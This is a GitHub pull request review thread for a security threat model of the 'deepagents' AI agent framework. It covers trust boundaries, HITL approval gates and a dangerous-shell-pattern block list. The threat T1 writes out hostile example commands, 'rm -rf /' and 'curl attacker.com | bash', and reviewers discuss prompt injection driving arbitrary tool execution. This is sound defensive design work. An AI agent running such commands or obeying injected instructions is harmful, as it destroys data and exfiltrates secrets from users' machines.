docs: add threat model for deepagents monorepo#1639
docs: add threat model for deepagents monorepo#1639John Kennedy (jkennedyvz) wants to merge 2 commits intomainfrom
Conversation
Maps 9 components, 5 trust boundaries, 10 data flows, and 6 threats across the core SDK, CLI, ACP server, harbor harness, and sandbox integrations. Documents HITL as the primary security control and clarifies responsibility boundaries for an open source agent framework. Co-Authored-By: Claude Opus 4.6 <[email protected]>
|
|
||
| | ID | Component | Description | Trust Level | Entry Points | | ||
| |----|-----------|-------------|-------------|--------------| | ||
| | C1 | Core Agent Framework | `create_deep_agent()`, middleware orchestration, LangGraph state machine | framework-controlled | `graph.py:108` — `create_deep_agent()` | |
There was a problem hiding this comment.
one hidden thing here is persistence in langgraph checkpointers
| | TB1 | Framework ↔ Host OS Shell | LLM-decided commands cross into unrestricted `subprocess.run(shell=True)` | Tool registration, HITL approval gates, timeout caps (`filesystem.py:889`), CLI shell allowlist validation (`config.py:856`) | The command string content (LLM-generated), host OS state, environment variables inherited by subprocess | | ||
| | TB2 | Framework ↔ External HTTP | Outbound HTTP requests to arbitrary URLs decided by the LLM | Tool registration, HITL approval for `fetch_url` (`agent.py:324`), timeout parameter (`tools.py:42`) | Target URL (LLM-chosen), response content, network topology, internal services reachable from the host | | ||
| | TB3 | Framework ↔ Cloud Sandbox | Commands and files sent to remote sandbox environments | Sandbox creation/teardown lifecycle (`sandbox_factory.py:68`), setup script execution, `shlex.quote()` for some paths | Sandbox isolation guarantees (delegated to Modal/Daytona/Runloop/LangSmith), sandbox-side filesystem, network access from within sandbox | | ||
| | TB4 | Framework ↔ User Code | User-provided tools, callbacks, model selection, system prompts, subagent definitions | Middleware execution order (`graph.py:271`), state isolation for subagents (`subagents.py:127`), skill name validation (`skills.py:208`) | User tool implementations, user-chosen LLM behavior, user prompt content | |
There was a problem hiding this comment.
framework <> agent code
framework/model <> user input
| | TB4 | Framework ↔ User Code | User-provided tools, callbacks, model selection, system prompts, subagent definitions | Middleware execution order (`graph.py:271`), state isolation for subagents (`subagents.py:127`), skill name validation (`skills.py:208`) | User tool implementations, user-chosen LLM behavior, user prompt content | | ||
| | TB5 | Framework ↔ Local Filesystem | Agent file operations on the host filesystem | `validate_path()` blocks `..` and `~` (`backends/utils.py:234`), `virtual_mode` path confinement (`filesystem.py:135`), tool call ID sanitization (`backends/utils.py:30`) | File permissions (OS-level), filesystem content, symlink targets | | ||
|
|
||
| ### Boundary Details |
There was a problem hiding this comment.
i'd treat most of these as a separate class -- these mostly touch CLI. There's some overlap but we treat sdk + cli as two independent product stories atm
There was a problem hiding this comment.
This is a really important distinction I think, and also relevant to how we score CVSS.
For CVSS a library is meant to be scored in each category for "worst-case usage". Deepagents-cli as an implementation should be treated as a thing that is meant to be secure in "most cases".
|
|
||
| --- | ||
|
|
||
| ## Threats |
|
|
||
| | Pattern | Why Out of Scope | Project Responsibility Ends At | | ||
| |---------|-----------------|-------------------------------| | ||
| | Prompt injection leading to arbitrary tool execution | The project does not control model behavior, prompt construction, or the adversarial content the user exposes the agent to. The LLM decides which tools to call. | Providing HITL approval gates as the default security control (`agent.py:324`). The project cannot prevent the LLM from *requesting* a dangerous action — it can only gate execution. | |
There was a problem hiding this comment.
oh lol I didn't read the whole way through first
why is this out of the threat model? I think depending on the environment it interplays with a lot of other components
There was a problem hiding this comment.
We don't restrict the models our developers can use, so we can't provide any guarantees around model accuracy or safety. We want to be clear about what is our responsibility, and where we have to accept some level of trust.
|
|
||
| ## Scope | ||
|
|
||
| ### In Scope |
There was a problem hiding this comment.
Should this link to SECURITY.md for information about bug bounties etc?
| │ │ | ||
| │ ┌──────────┐ ┌───────────────┐ ┌──────────────┐ │ | ||
| │ │ CLI TUI │ │ ACP Server │ │ SDK (library) │ │ | ||
| │ │ (C5) │──>│ (C8) │──>│ create_deep │ │ |
There was a problem hiding this comment.
I don't think the CLI supports ACP yet?
| │ └──────────┬─────────────┬───────────────┘ │ | ||
| │ │ │ │ | ||
| │ ┌──────────▼──┐ ┌──────▼──────────┐ ┌───────────────┐ │ | ||
| │ │ Local Shell │ │ Sandbox Backends │ │ HTTP Tools │ │ |
There was a problem hiding this comment.
We have other backends like store backend and state backend which interact with external storage.
|
|
||
| ## Components | ||
|
|
||
| | ID | Component | Description | Trust Level | Entry Points | |
There was a problem hiding this comment.
IMO we should remove the entrypoints with the line numbers -- no way to keep these from drifting out of date
| | C3 | Local Shell Backend | `LocalShellBackend` — `subprocess.run(shell=True)` on host OS | framework-controlled | `backends/local_shell.py:299` — `execute()` | | ||
| | C4 | Sub-Agent System | `SubAgentMiddleware`, `task` tool for delegating to child agents | framework-controlled | `middleware/subagents.py:374` — `_build_task_tool()` | | ||
| | C5 | CLI Terminal Interface | Textual TUI, non-interactive mode, stdin piping, slash commands | framework-controlled | `main.py:687` — `cli_main()`, `non_interactive.py:524` | | ||
| | C6 | HTTP Tools | `http_request()`, `fetch_url()`, `web_search()` — outbound HTTP from CLI | framework-controlled | `tools.py:35`, `tools.py:183`, `tools.py:104` | |
There was a problem hiding this comment.
http_request we'll remove in a bit
| |----|-----------|-------------|-------------|--------------| | ||
| | C1 | Core Agent Framework | `create_deep_agent()`, middleware orchestration, LangGraph state machine | framework-controlled | `graph.py:108` — `create_deep_agent()` | | ||
| | C2 | Filesystem & Tool Framework | `FilesystemMiddleware` — `read_file`, `write_file`, `edit_file`, `ls`, `glob`, `grep`, `execute` tools | framework-controlled | `middleware/filesystem.py:873` — `_create_execute_tool()` | | ||
| | C3 | Local Shell Backend | `LocalShellBackend` — `subprocess.run(shell=True)` on host OS | framework-controlled | `backends/local_shell.py:299` — `execute()` | |
There was a problem hiding this comment.
LocalShellBackend isn't enabled by default -- not sure if the diagram should show that it's user configured?
| - **Flow**: DF1 (LLM → LocalShellBackend) | ||
| - **Description**: The LLM generates shell commands that are passed to `subprocess.run(command, shell=True)` (`local_shell.py:299`). A compromised or misbehaving LLM could execute destructive commands (`rm -rf /`, `curl attacker.com | bash`, exfiltrating secrets via network). | ||
| - **Preconditions**: HITL must be disabled or bypassed, OR the human reviewer must approve a malicious command. | ||
| - **Mitigations**: (1) HITL approval gate is default-on for `execute` tool (`agent.py:324`). (2) Non-interactive mode validates against `DANGEROUS_SHELL_PATTERNS` (`config.py:754-769`) blocking shell metacharacters. (3) Configurable allowlist via `DEEPAGENTS_SHELL_ALLOW_LIST` env var (`config.py:449`). (4) Timeout capped at 3600s (`filesystem.py:889`). |
There was a problem hiding this comment.
The migration only exists in ACP. not in the SDK or in the CLI right now?
| - **Mitigations**: HITL would catch explicit `env`/`printenv` commands. The CLI overrides `LANGSMITH_PROJECT` back to the user's value for shell commands (`agent.py:523-526`). | ||
| - **Residual risk**: Secrets are accessible to any subprocess command. This is by-design for developer tools (the user's shell has the same access). | ||
|
|
||
| #### T5: Path Traversal with `virtual_mode=False` |
There was a problem hiding this comment.
virtual mode wasn't really done for security purposes... but to allow working with composite backend
Maps 9 components, 5 trust boundaries, 10 data flows, and 6 threats across the core SDK, CLI, ACP server, harbor harness, and sandbox integrations. Documents HITL as the primary security control and clarifies responsibility boundaries for an open source agent framework.